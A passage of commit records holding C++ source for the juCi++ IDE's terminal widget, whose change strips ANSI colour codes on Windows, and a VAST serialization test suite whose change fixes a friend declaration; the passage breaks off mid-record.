if(async_print_on_line_strings.size()>0) {\n      for(auto &line_string: async_print_on_line_strings)\n        print(line_string.first, line_string.second);\n      async_print_on_line_strings.clear();\n    }\n    async_print_on_line_strings_mutex.unlock();\n  });\n}\n\nint Terminal::process(const std::string &command, const boost::filesystem::path &path, bool use_pipes) {  \n  std::unique_ptr<Process> process;\n  if(use_pipes)\n    process=std::unique_ptr<Process>(new Process(command, path.string(), [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n));\n    }, [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n), true);\n    }));\n  else\n    process=std::unique_ptr<Process>(new Process(command, path.string()));\n    \n  if(process->get_id()<=0) {\n    async_print(\"Error: failed to run command: \" + command + \"\\n\", true);\n    return -1;\n  }\n  \n  return process->get_exit_status();\n}\n\nint Terminal::process(std::istream &stdin_stream, std::ostream &stdout_stream, const std::string &command, const boost::filesystem::path &path) {\n  Process process(command, path.string(), [this, &stdout_stream](const char* bytes, size_t n) {\n    Glib::ustring umessage(std::string(bytes, n));\n    Glib::ustring::iterator iter;\n    while(!umessage.validate(iter)) {\n      auto next_char_iter=iter;\n      next_char_iter++;\n      umessage.replace(iter, next_char_iter, \"?\");\n    }\n    stdout_stream.write(umessage.data(), n);\n  }, [this](const char* bytes, size_t n) {\n    async_print(std::string(bytes, n), true);\n  }, true);\n  \n  if(process.get_id()<=0) {\n    async_print(\"Error: failed to run command: \" + command + \"\\n\", true);\n    return -1;\n  }\n  \n  char buffer[131072];\n  for(;;) {\n    stdin_stream.readsome(buffer, 131072);\n    auto read_n=stdin_stream.gcount();\n    if(read_n==0)\n      break;\n    if(!process.write(buffer, read_n)) {\n      break;\n    }\n  }\n  process.close_stdin();\n  \n  return process.get_exit_status();\n}\n\nvoid Terminal::async_process(const std::string &command, const boost::filesystem::path &path, std::function<void(int exit_status)> callback) {\n  std::thread async_execute_thread([this, command, path, callback](){    \n    processes_mutex.lock();\n    stdin_buffer.clear();\n    std::shared_ptr<Process> process(new Process(command, path.string(), [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n));\n    }, [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n), true);\n    }, true));\n    auto pid=process->get_id();\n    if (pid<=0) {\n      processes_mutex.unlock();\n      async_print(\"Error: failed to run command: \" + command + \"\\n\", true);\n      if(callback)\n        callback(-1);\n      return;\n    }\n    else {\n      processes.emplace_back(process);\n      processes_mutex.unlock();\n    }\n      \n    auto exit_status=process->get_exit_status();\n    \n    processes_mutex.lock();\n    for(auto it=processes.begin();it!=processes.end();it++) {\n      if((*it)->get_id()==pid) {\n        processes.erase(it);\n        break;\n      }\n    }\n    stdin_buffer.clear();\n    processes_mutex.unlock();\n      \n    if(callback)\n      callback(exit_status);\n  });\n  async_execute_thread.detach();\n}\n\nvoid Terminal::kill_last_async_process(bool force) {\n  processes_mutex.lock();\n  if(processes.size()>0)\n    processes.back()->kill(force);\n  processes_mutex.unlock();\n}\n\nvoid Terminal::kill_async_processes(bool force) {\n  processes_mutex.lock();\n  for(auto &process: processes)\n    process->kill(force);\n  processes_mutex.unlock();\n}\n\nsize_t Terminal::print(const std::string &message, bool bold){\n  Glib::ustring umessage=message;\n  Glib::ustring::iterator iter;\n  while(!umessage.validate(iter)) {\n    auto next_char_iter=iter;\n    next_char_iter++;\n    umessage.replace(iter, next_char_iter, \"?\");\n  }\n  \n  if(bold)\n    get_buffer()->insert_with_tag(get_buffer()->end(), umessage, bold_tag);\n  else\n    get_buffer()->insert(get_buffer()->end(), umessage);\n  \n  if(get_buffer()->get_line_count()>Config::get().terminal.history_size) {\n    int lines=get_buffer()->get_line_count()-Config::get().terminal.history_size;\n    get_buffer()->erase(get_buffer()->begin(), get_buffer()->get_iter_at_line(lines));\n    deleted_lines+=static_cast<size_t>(lines);\n  }\n  \n  return static_cast<size_t>(get_buffer()->end().get_line())+deleted_lines;\n}\n\nvoid Terminal::print(size_t line_nr, const std::string &message){\n  if(line_nr<deleted_lines)\n    return;\n  \n  Glib::ustring umessage=message;\n  Glib::ustring::iterator iter;\n  while(!umessage.validate(iter)) {\n    auto next_char_iter=iter;\n    next_char_iter++;\n    umessage.replace(iter, next_char_iter, \"?\");\n  }\n  \n  auto end_line_iter=get_buffer()->get_iter_at_line(static_cast<int>(line_nr-deleted_lines));\n  while(!end_line_iter.ends_line() && end_line_iter.forward_char()) {}\n  get_buffer()->insert(end_line_iter, umessage);\n}\n\nstd::shared_ptr<Terminal::InProgress> Terminal::print_in_progress(std::string start_msg) {\n  std::shared_ptr<Terminal::InProgress> in_progress=std::shared_ptr<Terminal::InProgress>(new Terminal::InProgress(start_msg));\n  return in_progress;\n}\n\nvoid Terminal::async_print(const std::string &message, bool bold) {\n  async_print_strings_mutex.lock();\n  bool dispatch=true;\n  if(async_print_strings.size()>0)\n    dispatch=false;\n  async_print_strings.emplace_back(message, bold);\n  async_print_strings_mutex.unlock();\n  if(dispatch)\n    async_print_dispatcher();\n}\n\nvoid Terminal::async_print(int line_nr, const std::string &message) {\n  async_print_on_line_strings_mutex.lock();\n  bool dispatch=true;\n  if(async_print_on_line_strings.size()>0)\n    dispatch=false;\n  async_print_on_line_strings.emplace_back(line_nr, message);\n  async_print_on_line_strings_mutex.unlock();\n  if(dispatch)\n    async_print_on_line_dispatcher();\n}\n\nbool Terminal::on_key_press_event(GdkEventKey *event) {\n  processes_mutex.lock();\n  bool debug_is_running=false;\n#ifdef JUCI_ENABLE_DEBUG\n  debug_is_running=Debug::get().is_running();\n#endif\n  if(processes.size()>0 || debug_is_running) {\n    get_buffer()->place_cursor(get_buffer()->end());\n    auto unicode=gdk_keyval_to_unicode(event->keyval);\n    char chr=(char)unicode;\n    if(unicode>=32 && unicode<=126) {\n      stdin_buffer+=chr;\n      get_buffer()->insert_at_cursor(stdin_buffer.substr(stdin_buffer.size()-1));\n    }\n    else if(event->keyval==GDK_KEY_BackSpace) {\n      if(stdin_buffer.size()>0 && get_buffer()->get_char_count()>0) {\n        auto iter=get_buffer()->end();\n        iter--;\n        stdin_buffer.pop_back();\n        get_buffer()->erase(iter, get_buffer()->end());\n      }\n    }\n    else if(event->keyval==GDK_KEY_Return) {\n      stdin_buffer+='\\n';\n      if(debug_is_running) {\n#ifdef JUCI_ENABLE_DEBUG\n        Debug::get().write(stdin_buffer);\n#endif\n      }\n      else\n        processes.back()->write(stdin_buffer);\n      get_buffer()->insert_at_cursor(stdin_buffer.substr(stdin_buffer.size()-1));\n      stdin_buffer.clear();\n    }\n  }\n  processes_mutex.unlock();\n  return true;\n}\n<commit_msg>Removed color codes from terminal output in Windows<commit_after>#include \"terminal.h\"\n#include <iostream>\n#include \"logging.h\"\n#include \"config.h\"\n#ifdef JUCI_ENABLE_DEBUG\n#include \"debug.h\"\n#endif\n\nTerminal::InProgress::InProgress(const std::string& start_msg): stop(false) {\n  waiting_print.connect([this](){\n    Terminal::get().async_print(line_nr-1, \".\");\n  });\n  start(start_msg);\n}\n\nTerminal::InProgress::~InProgress() {\n  stop=true;\n  if(wait_thread.joinable())\n    wait_thread.join();\n}\n\nvoid Terminal::InProgress::start(const std::string& msg) {\n  line_nr=Terminal::get().print(msg+\"...\\n\");\n  wait_thread=std::thread([this](){\n    size_t c=0;\n    while(!stop) {\n      if(c%100==0)\n        waiting_print();\n      std::this_thread::sleep_for(std::chrono::milliseconds(10));\n      c++;\n    }\n  });\n}\n\nvoid Terminal::InProgress::done(const std::string& msg) {\n  if(!stop) {\n    stop=true;\n    Terminal::get().async_print(line_nr-1, msg);\n  }\n}\n\nvoid Terminal::InProgress::cancel(const std::string& msg) {\n  if(!stop) {\n    stop=true;\n    Terminal::get().async_print(line_nr-1, msg);\n  }\n}\n\nTerminal::Terminal() {\n  bold_tag=get_buffer()->create_tag();\n  bold_tag->property_weight()=PANGO_WEIGHT_BOLD;\n  \n  async_print_dispatcher.connect([this](){\n    async_print_strings_mutex.lock();\n    if(async_print_strings.size()>0) {\n      for(auto &string_bold: async_print_strings)\n        print(string_bold.first, string_bold.second);\n      async_print_strings.clear();\n    }\n    async_print_strings_mutex.unlock();\n  });\n  async_print_on_line_dispatcher.connect([this](){\n    async_print_on_line_strings_mutex.lock();\n    if(async_print_on_line_strings.size()>0) {\n      for(auto &line_string: async_print_on_line_strings)\n        print(line_string.first, line_string.second);\n      async_print_on_line_strings.clear();\n    }\n    async_print_on_line_strings_mutex.unlock();\n  });\n}\n\nint Terminal::process(const std::string &command, const boost::filesystem::path &path, bool use_pipes) {  \n  std::unique_ptr<Process> process;\n  if(use_pipes)\n    process=std::unique_ptr<Process>(new Process(command, path.string(), [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n));\n    }, [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n), true);\n    }));\n  else\n    process=std::unique_ptr<Process>(new Process(command, path.string()));\n    \n  if(process->get_id()<=0) {\n    async_print(\"Error: failed to run command: \" + command + \"\\n\", true);\n    return -1;\n  }\n  \n  return process->get_exit_status();\n}\n\nint Terminal::process(std::istream &stdin_stream, std::ostream &stdout_stream, const std::string &command, const boost::filesystem::path &path) {\n  Process process(command, path.string(), [this, &stdout_stream](const char* bytes, size_t n) {\n    Glib::ustring umessage(std::string(bytes, n));\n    Glib::ustring::iterator iter;\n    while(!umessage.validate(iter)) {\n      auto next_char_iter=iter;\n      next_char_iter++;\n      umessage.replace(iter, next_char_iter, \"?\");\n    }\n    stdout_stream.write(umessage.data(), n);\n  }, [this](const char* bytes, size_t n) {\n    async_print(std::string(bytes, n), true);\n  }, true);\n  \n  if(process.get_id()<=0) {\n    async_print(\"Error: failed to run command: \" + command + \"\\n\", true);\n    return -1;\n  }\n  \n  char buffer[131072];\n  for(;;) {\n    stdin_stream.readsome(buffer, 131072);\n    auto read_n=stdin_stream.gcount();\n    if(read_n==0)\n      break;\n    if(!process.write(buffer, read_n)) {\n      break;\n    }\n  }\n  process.close_stdin();\n  \n  return process.get_exit_status();\n}\n\nvoid Terminal::async_process(const std::string &command, const boost::filesystem::path &path, std::function<void(int exit_status)> callback) {\n  std::thread async_execute_thread([this, command, path, callback](){    \n    processes_mutex.lock();\n    stdin_buffer.clear();\n    std::shared_ptr<Process> process(new Process(command, path.string(), [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n));\n    }, [this](const char* bytes, size_t n) {\n      async_print(std::string(bytes, n), true);\n    }, true));\n    auto pid=process->get_id();\n    if (pid<=0) {\n      processes_mutex.unlock();\n      async_print(\"Error: failed to run command: \" + command + \"\\n\", true);\n      if(callback)\n        callback(-1);\n      return;\n    }\n    else {\n      processes.emplace_back(process);\n      processes_mutex.unlock();\n    }\n      \n    auto exit_status=process->get_exit_status();\n    \n    processes_mutex.lock();\n    for(auto it=processes.begin();it!=processes.end();it++) {\n      if((*it)->get_id()==pid) {\n        processes.erase(it);\n        break;\n      }\n    }\n    stdin_buffer.clear();\n    processes_mutex.unlock();\n      \n    if(callback)\n      callback(exit_status);\n  });\n  async_execute_thread.detach();\n}\n\nvoid Terminal::kill_last_async_process(bool force) {\n  processes_mutex.lock();\n  if(processes.size()>0)\n    processes.back()->kill(force);\n  processes_mutex.unlock();\n}\n\nvoid Terminal::kill_async_processes(bool force) {\n  processes_mutex.lock();\n  for(auto &process: processes)\n    process->kill(force);\n  processes_mutex.unlock();\n}\n\nsize_t Terminal::print(const std::string &message, bool bold){\n#ifdef _WIN32\n  \/\/Remove color codes\n  auto message_no_color=message; \/\/copy here since operations on Glib::ustring is too slow\n  size_t pos=0;\n  while((pos=message_no_color.find('\\e', pos))!=std::string::npos) {\n    if((pos+2)>=message_no_color.size())\n      break;\n    if(message_no_color[pos+1]=='[') {\n      size_t end_pos=pos+2;\n      bool color_code_found=false;\n      while(end_pos<message_no_color.size()) {\n        if((message_no_color[end_pos]>='0' && message_no_color[end_pos]<='9') || message_no_color[end_pos]==';')\n          end_pos++;\n        else if(message_no_color[end_pos]=='m') {\n          color_code_found=true;\n          break;\n        }\n        else\n          break;\n      }\n      if(color_code_found)\n        message_no_color.erase(pos, end_pos-pos+1);\n    }\n  }\n  Glib::ustring umessage=message_no_color;\n#else\n  Glib::ustring umessage=message;\n#endif\n  \n  Glib::ustring::iterator iter;\n  while(!umessage.validate(iter)) {\n    auto next_char_iter=iter;\n    next_char_iter++;\n    umessage.replace(iter, next_char_iter, \"?\");\n  }\n  \n  if(bold)\n    get_buffer()->insert_with_tag(get_buffer()->end(), umessage, bold_tag);\n  else\n    get_buffer()->insert(get_buffer()->end(), umessage);\n  \n  if(get_buffer()->get_line_count()>Config::get().terminal.history_size) {\n    int lines=get_buffer()->get_line_count()-Config::get().terminal.history_size;\n    get_buffer()->erase(get_buffer()->begin(), get_buffer()->get_iter_at_line(lines));\n    deleted_lines+=static_cast<size_t>(lines);\n  }\n  \n  return static_cast<size_t>(get_buffer()->end().get_line())+deleted_lines;\n}\n\nvoid Terminal::print(size_t line_nr, const std::string &message){\n  if(line_nr<deleted_lines)\n    return;\n  \n  Glib::ustring umessage=message;\n  Glib::ustring::iterator iter;\n  while(!umessage.validate(iter)) {\n    auto next_char_iter=iter;\n    next_char_iter++;\n    umessage.replace(iter, next_char_iter, \"?\");\n  }\n  \n  auto end_line_iter=get_buffer()->get_iter_at_line(static_cast<int>(line_nr-deleted_lines));\n  while(!end_line_iter.ends_line() && end_line_iter.forward_char()) {}\n  get_buffer()->insert(end_line_iter, umessage);\n}\n\nstd::shared_ptr<Terminal::InProgress> Terminal::print_in_progress(std::string start_msg) {\n  std::shared_ptr<Terminal::InProgress> in_progress=std::shared_ptr<Terminal::InProgress>(new Terminal::InProgress(start_msg));\n  return in_progress;\n}\n\nvoid Terminal::async_print(const std::string &message, bool bold) {\n  async_print_strings_mutex.lock();\n  bool dispatch=true;\n  if(async_print_strings.size()>0)\n    dispatch=false;\n  async_print_strings.emplace_back(message, bold);\n  async_print_strings_mutex.unlock();\n  if(dispatch)\n    async_print_dispatcher();\n}\n\nvoid Terminal::async_print(int line_nr, const std::string &message) {\n  async_print_on_line_strings_mutex.lock();\n  bool dispatch=true;\n  if(async_print_on_line_strings.size()>0)\n    dispatch=false;\n  async_print_on_line_strings.emplace_back(line_nr, message);\n  async_print_on_line_strings_mutex.unlock();\n  if(dispatch)\n    async_print_on_line_dispatcher();\n}\n\nbool Terminal::on_key_press_event(GdkEventKey *event) {\n  processes_mutex.lock();\n  bool debug_is_running=false;\n#ifdef JUCI_ENABLE_DEBUG\n  debug_is_running=Debug::get().is_running();\n#endif\n  if(processes.size()>0 || debug_is_running) {\n    get_buffer()->place_cursor(get_buffer()->end());\n    auto unicode=gdk_keyval_to_unicode(event->keyval);\n    char chr=(char)unicode;\n    if(unicode>=32 && unicode<=126) {\n      stdin_buffer+=chr;\n      get_buffer()->insert_at_cursor(stdin_buffer.substr(stdin_buffer.size()-1));\n    }\n    else if(event->keyval==GDK_KEY_BackSpace) {\n      if(stdin_buffer.size()>0 && get_buffer()->get_char_count()>0) {\n        auto iter=get_buffer()->end();\n        iter--;\n        stdin_buffer.pop_back();\n        get_buffer()->erase(iter, get_buffer()->end());\n      }\n    }\n    else if(event->keyval==GDK_KEY_Return) {\n      stdin_buffer+='\\n';\n      if(debug_is_running) {\n#ifdef JUCI_ENABLE_DEBUG\n        Debug::get().write(stdin_buffer);\n#endif\n      }\n      else\n        processes.back()->write(stdin_buffer);\n      get_buffer()->insert_at_cursor(stdin_buffer.substr(stdin_buffer.size()-1));\n      stdin_buffer.clear();\n    }\n  }\n  processes_mutex.unlock();\n  return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"test.h\"\n#include \"event_fixture.h\"\n\n#include \"vast\/object.h\"\n#include \"vast\/serialization.h\"\n#include \"vast\/io\/serialization.h\"\n\nusing namespace vast;\n\nBOOST_FIXTURE_TEST_SUITE(event_serialization_tests, event_fixture)\n\nBOOST_AUTO_TEST_CASE(byte_swapping)\n{\n  using util::byte_swap;\n\n  uint8_t  x08 = 0x11;\n  uint16_t x16 = 0x1122;\n  uint32_t x32 = 0x11223344;\n  uint64_t x64 = 0x1122334455667788;\n  \/\/ TODO: extend to all arithmetic types, e.g., float and double.\n\n  auto y08 = byte_swap<little_endian, big_endian>(x08);\n  auto y16 = byte_swap<little_endian, big_endian>(x16);\n  auto y32 = byte_swap<little_endian, big_endian>(x32);\n  auto y64 = byte_swap<little_endian, big_endian>(x64);\n  BOOST_CHECK_EQUAL(y08, 0x11);\n  BOOST_CHECK_EQUAL(y16, 0x2211);\n  BOOST_CHECK_EQUAL(y32, 0x44332211);\n  BOOST_CHECK_EQUAL(y64, 0x8877665544332211);\n\n  y08 = byte_swap<big_endian, little_endian>(y08);\n  y16 = byte_swap<big_endian, little_endian>(y16);\n  y32 = byte_swap<big_endian, little_endian>(y32);\n  y64 = byte_swap<big_endian, little_endian>(y64);\n  BOOST_CHECK_EQUAL(y08, x08);\n  BOOST_CHECK_EQUAL(y16, x16);\n  BOOST_CHECK_EQUAL(y32, x32);\n  BOOST_CHECK_EQUAL(y64, x64);\n\n  \/\/ NOP\n  y08 = byte_swap<big_endian, big_endian>(y08);\n  y16 = byte_swap<big_endian, big_endian>(y16);\n  y32 = byte_swap<big_endian, big_endian>(y32);\n  y64 = byte_swap<big_endian, big_endian>(y64);\n  BOOST_CHECK_EQUAL(y08, x08);\n  BOOST_CHECK_EQUAL(y16, x16);\n  BOOST_CHECK_EQUAL(y32, x32);\n  BOOST_CHECK_EQUAL(y64, x64);\n\n  \/\/ NOP\n  y08 = byte_swap<little_endian, little_endian>(y08);\n  y16 = byte_swap<little_endian, little_endian>(y16);\n  y32 = byte_swap<little_endian, little_endian>(y32);\n  y64 = byte_swap<little_endian, little_endian>(y64);\n  BOOST_CHECK_EQUAL(y08, x08);\n  BOOST_CHECK_EQUAL(y16, x16);\n  BOOST_CHECK_EQUAL(y32, x32);\n  BOOST_CHECK_EQUAL(y64, x64);\n}\n\nBOOST_AUTO_TEST_CASE(containers)\n{\n  std::vector<double> v0{4.2, 8.4, 16.8}, v1;\n  std::list<int> l0{4, 2}, l1;\n  std::unordered_map<int, int> u0{{4, 2}, {8, 4}}, u1;\n\n  std::vector<uint8_t> buf;\n  io::archive(buf, v0, l0, u0);\n  io::unarchive(buf, v1, l1, u1);\n\n  BOOST_CHECK(v0 == v1);\n  BOOST_CHECK(l0 == l1);\n  BOOST_CHECK(u0 == u1);\n}\n\n\/\/ A serializable class.\nclass serializable\n{\n  friend struct access;\npublic:\n  int i() const\n  {\n    return i_;\n  }\n\nprivate:\n  void serialize(serializer& sink) const\n  {\n    sink << i_ - 10;\n  }\n\n  void deserialize(deserializer& source)\n  {\n    source >> i_;\n    i_ += 10;\n  }\n\n  int i_ = 42;\n};\n\nBOOST_AUTO_TEST_CASE(io_serialization_interface)\n{\n  std::vector<io::compression> methods{io::null, io::lz4};\n#ifdef VAST_HAVE_SNAPPY\n  methods.push_back(io::snappy);\n#endif \/\/ VAST_HAVE_SNAPPY\n  for (auto method : methods)\n  {\n    std::vector<int> input(1u << 10), output;\n    BOOST_REQUIRE(input.size() % 2 == 0);\n    for (size_t i = 0; i < input.size() \/ 2; ++i)\n      input[i] = i % 128;\n    for (size_t i = input.size() \/ 2; i < input.size(); ++i)\n      input[i] = i % 2;\n\n    std::vector<uint8_t> buf;\n    serializable x;\n    io::compress(method, buf, input, serializable());\n    io::decompress(method, buf, output, x);\n\n    BOOST_REQUIRE_EQUAL(input.size(), output.size());\n    for (size_t i = 0; i < input.size(); ++i)\n      BOOST_CHECK_EQUAL(output[i], input[i]);\n    BOOST_CHECK_EQUAL(x.i(), 42);\n  }\n}\n\nBOOST_AUTO_TEST_CASE(object_serialization)\n{\n  object o, p;\n  o = object::adopt(new record{42, 84, 1337});\n\n  std::vector<uint8_t> buf;\n  io::archive(buf, o);\n  io::unarchive(buf, p);\n\n  BOOST_CHECK(o == p);\n}\n\nstruct base\n{\n  virtual ~base() = default;\n  virtual uint32_t f() const = 0;\n  virtual void serialize(serializer& sink) const = 0;\n  virtual void deserialize(deserializer& source) = 0;\n};\n\nstruct derived : base\n{\n  friend bool operator==(derived const& x, derived const& y)\n  {\n    return x.i == y.i;\n  }\n\n  virtual uint32_t f() const final\n  {\n    return i;\n  }\n\n  virtual void serialize(serializer& sink) const final\n  {\n    sink << i;\n  }\n\n  virtual void deserialize(deserializer& source) final\n  {\n    source >> i;\n  }\n\n  uint32_t i = 0;\n};\n\nBOOST_AUTO_TEST_CASE(polymorphic_object_serialization)\n{\n  derived d;\n  d.i = 42;\n\n  \/\/ Polymorphic types must be announced as their concrete type is not known at\n  \/\/ compile time.\n  BOOST_REQUIRE((announce<derived>()));\n\n  \/\/ Due to the lacking introspection capabilities in C++, the serialization\n  \/\/ framework requires explicit registration of each derived\n  \/\/ class to provide type-safe access.\n  BOOST_REQUIRE((make_convertible<derived, base>()));\n\n  std::vector<uint8_t> buf;\n  {\n    \/\/ We serialize the object through a polymorphic reference to the base\n    \/\/ class, which simply invokes the correct virtual serialize() method of\n    \/\/ the derived class.\n    auto out = io::make_container_output_stream(buf);\n    binary_serializer sink(out);\n    base& b = d;\n    BOOST_REQUIRE(write_object(sink, b));\n  }\n  {\n    \/\/ Actually, this is the same as serializing through a pointer directory,\n    \/\/ because serializing a pointer assumes reference semantics and hence\n    \/\/ writes an instance out as object.\n    decltype(buf) buf2;\n    base* bp = &d;\n    io::archive(buf2, bp);\n    BOOST_CHECK_EQUAL_COLLECTIONS(buf.begin(), buf.end(),\n                                  buf2.begin(), buf2.end());\n  }\n  {\n    \/\/ It should always be possible to deserialize an instance of the exact\n    \/\/ derived type. This technically does not require any virtual functions.\n    auto in = io::make_array_input_stream(buf);\n    binary_deserializer source(in);\n    derived e;\n    BOOST_REQUIRE(read_object(source, e));\n    BOOST_CHECK_EQUAL(e.i, 42);\n  }\n  {\n    \/\/ Similarly, it should always be possible to retrieve an opaque object and\n    \/\/ get the derived type via a type-checked invocation of get<T>.\n    object o;\n    io::unarchive(buf, o);\n    BOOST_CHECK(o.convertible_to<derived>());\n    BOOST_CHECK_EQUAL(get<derived>(o).f(), 42);\n    \/\/ Since we've announced the type as being convertible to its base class,\n    \/\/ we can also safely obtain a reference to the base.\n    BOOST_CHECK(o.convertible_to<base>());\n    BOOST_CHECK_EQUAL(get<base>(o).f(), 42);\n    \/\/ Moreover, since we've assurred convertability we can extract the raw\n    \/\/ instance from the object. Thereafter, we own it and have to delete it.\n    base* b = o.release_as<base>();\n    BOOST_CHECK_EQUAL(b->f(), 42);\n    BOOST_REQUIRE(b != nullptr);\n    delete b;\n  }\n  {\n    \/\/ Finally, since all serializations of pointers are assumed to pertain to\n    \/\/ objects with reference semantics, we can just serialize the pointer\n    \/\/ directly.\n    base* b = nullptr;\n    io::unarchive(buf, b);\n    BOOST_REQUIRE(b != nullptr);\n    BOOST_CHECK_EQUAL(b->f(), 42);\n    delete b;\n  }\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>Fix issue with ambiguous befriending.<commit_after>#include \"test.h\"\n#include \"event_fixture.h\"\n\n#include \"vast\/object.h\"\n#include \"vast\/serialization.h\"\n#include \"vast\/io\/serialization.h\"\n\nusing namespace vast;\n\nBOOST_FIXTURE_TEST_SUITE(event_serialization_tests, event_fixture)\n\nBOOST_AUTO_TEST_CASE(byte_swapping)\n{\n  using util::byte_swap;\n\n  uint8_t  x08 = 0x11;\n  uint16_t x16 = 0x1122;\n  uint32_t x32 = 0x11223344;\n  uint64_t x64 = 0x1122334455667788;\n  \/\/ TODO: extend to all arithmetic types, e.g., float and double.\n\n  auto y08 = byte_swap<little_endian, big_endian>(x08);\n  auto y16 = byte_swap<little_endian, big_endian>(x16);\n  auto y32 = byte_swap<little_endian, big_endian>(x32);\n  auto y64 = byte_swap<little_endian, big_endian>(x64);\n  BOOST_CHECK_EQUAL(y08, 0x11);\n  BOOST_CHECK_EQUAL(y16, 0x2211);\n  BOOST_CHECK_EQUAL(y32, 0x44332211);\n  BOOST_CHECK_EQUAL(y64, 0x8877665544332211);\n\n  y08 = byte_swap<big_endian, little_endian>(y08);\n  y16 = byte_swap<big_endian, little_endian>(y16);\n  y32 = byte_swap<big_endian, little_endian>(y32);\n  y64 = byte_swap<big_endian, little_endian>(y64);\n  BOOST_CHECK_EQUAL(y08, x08);\n  BOOST_CHECK_EQUAL(y16, x16);\n  BOOST_CHECK_EQUAL(y32, x32);\n  BOOST_CHECK_EQUAL(y64, x64);\n\n  \/\/ NOP\n  y08 = byte_swap<big_endian, big_endian>(y08);\n  y16 = byte_swap<big_endian, big_endian>(y16);\n  y32 = byte_swap<big_endian, big_endian>(y32);\n  y64 = byte_swap<big_endian, big_endian>(y64);\n  BOOST_CHECK_EQUAL(y08, x08);\n  BOOST_CHECK_EQUAL(y16, x16);\n  BOOST_CHECK_EQUAL(y32, x32);\n  BOOST_CHECK_EQUAL(y64, x64);\n\n  \/\/ NOP\n  y08 = byte_swap<little_endian, little_endian>(y08);\n  y16 = byte_swap<little_endian, little_endian>(y16);\n  y32 = byte_swap<little_endian, little_endian>(y32);\n  y64 = byte_swap<little_endian, little_endian>(y64);\n  BOOST_CHECK_EQUAL(y08, x08);\n  BOOST_CHECK_EQUAL(y16, x16);\n  BOOST_CHECK_EQUAL(y32, x32);\n  BOOST_CHECK_EQUAL(y64, x64);\n}\n\nBOOST_AUTO_TEST_CASE(containers)\n{\n  std::vector<double> v0{4.2, 8.4, 16.8}, v1;\n  std::list<int> l0{4, 2}, l1;\n  std::unordered_map<int, int> u0{{4, 2}, {8, 4}}, u1;\n\n  std::vector<uint8_t> buf;\n  io::archive(buf, v0, l0, u0);\n  io::unarchive(buf, v1, l1, u1);\n\n  BOOST_CHECK(v0 == v1);\n  BOOST_CHECK(l0 == l1);\n  BOOST_CHECK(u0 == u1);\n}\n\n\/\/ A serializable class.\nclass serializable\n{\npublic:\n  int i() const\n  {\n    return i_;\n  }\n\nprivate:\n  friend vast::access;\n\n  void serialize(serializer& sink) const\n  {\n    sink << i_ - 10;\n  }\n\n  void deserialize(deserializer& source)\n  {\n    source >> i_;\n    i_ += 10;\n  }\n\n  int i_ = 42;\n};\n\nBOOST_AUTO_TEST_CASE(io_serialization_interface)\n{\n  std::vector<io::compression> methods{io::null, io::lz4};\n#ifdef VAST_HAVE_SNAPPY\n  methods.push_back(io::snappy);\n#endif \/\/ VAST_HAVE_SNAPPY\n  for (auto method : methods)\n  {\n    std::vector<int> input(1u << 10), output;\n    BOOST_REQUIRE(input.size() % 2 == 0);\n    for (size_t i = 0; i < input.size() \/ 2; ++i)\n      input[i] = i % 128;\n    for (size_t i = input.size() \/ 2; i < input.size(); ++i)\n      input[i] = i % 2;\n\n    std::vector<uint8_t> buf;\n    serializable x;\n    io::compress(method, buf, input, serializable());\n    io::decompress(method, buf, output, x);\n\n    BOOST_REQUIRE_EQUAL(input.size(), output.size());\n    for (size_t i = 0; i < input.size(); ++i)\n      BOOST_CHECK_EQUAL(output[i], input[i]);\n    BOOST_CHECK_EQUAL(x.i(), 42);\n  }\n}\n\nBOOST_AUTO_TEST_CASE(object_serialization)\n{\n  object o, p;\n  o = object::adopt(new record{42, 84, 1337});\n\n  std::vector<uint8_t> buf;\n  io::archive(buf, o);\n  io::unarchive(buf, p);\n\n  BOOST_CHECK(o == p);\n}\n\nstruct base\n{\n  virtual ~base() = default;\n  virtual uint32_t f() const = 0;\n  virtual void serialize(serializer& sink) const = 0;\n  virtual void deserialize(deserializer& source) = 0;\n};\n\nstruct derived : base\n{\n  friend bool operator==(derived const& x, derived const& y)\n  {\n    return x.i == y.i;\n  }\n\n  virtual uint32_t f() const final\n  {\n    return i;\n  }\n\n  virtual void serialize(serializer& sink) const final\n  {\n    sink << i;\n  }\n\n  virtual void deserialize(deserializer& source) final\n  {\n    source >> i;\n  }\n\n  uint32_t i = 0;\n};\n\nBOOST_AUTO_TEST_CASE(polymorphic_object_serialization)\n{\n  derived d;\n  d.i = 42;\n\n  \/\/ Polymorphic types must be announced as their concrete type is not known at\n  \/\/ compile time.\n  BOOST_REQUIRE((announce<derived>()));\n\n  \/\/ Due to the lacking introspection capabilities in C++, the serialization\n  \/\/ framework requires explicit registration of each derived\n  \/\/ class to provide type-safe access.\n  BOOST_REQUIRE((make_convertible<derived, base>()));\n\n  std::vector<uint8_t> buf;\n  {\n    \/\/ We serialize the object through a polymorphic reference to the base\n    \/\/ class, which simply invokes the correct virtual serialize() method of\n    \/\/ the derived class.\n    auto out = io::make_container_output_stream(buf);\n    binary_serializer sink(out);\n    base& b = d;\n    BOOST_REQUIRE(write_object(sink, b));\n  }\n  {\n    \/\/ Actually, this is the same as serializing through a pointer directory,\n    \/\/ because serializing a pointer assumes reference semantics and hence\n    \/\/ writes an instance out as object.\n    decltype(buf) buf2;\n    base* bp = &d;\n    io::archive(buf2, bp);\n    BOOST_CHECK_EQUAL_COLLECTIONS(buf.begin(), buf.end(),\n                                  buf2.begin(), buf2.end());\n  }\n  {\n    \/\/ It should always be possible to deserialize an instance of the exact\n    \/\/ derived type. This technically does not require any virtual functions.\n    auto in = io::make_array_input_stream(buf);\n    binary_deserializer source(in);\n    derived e;\n    BOOST_REQUIRE(read_object(source, e));\n    BOOST_CHECK_EQUAL(e.i, 42);\n  }\n  {\n    \/\/ Similarly, it should always be possible to retrieve an opaque object and\n    \/\/ get the derived type via a type-checked invocation of get<T>.\n    object o;\n    io::unarchive(buf, o);\n    BOOST_CHECK(o.convertible_to<derived>());\n    BOOST_CHECK_EQUAL(get<derived>(o).f(), 42);\n    \/\/ Since we've announced the type as being convertible to its base class,\n    \/\/ we can also safely obtain a reference to the base.\n    BOOST_CHECK(o.convertible_to<base>());\n    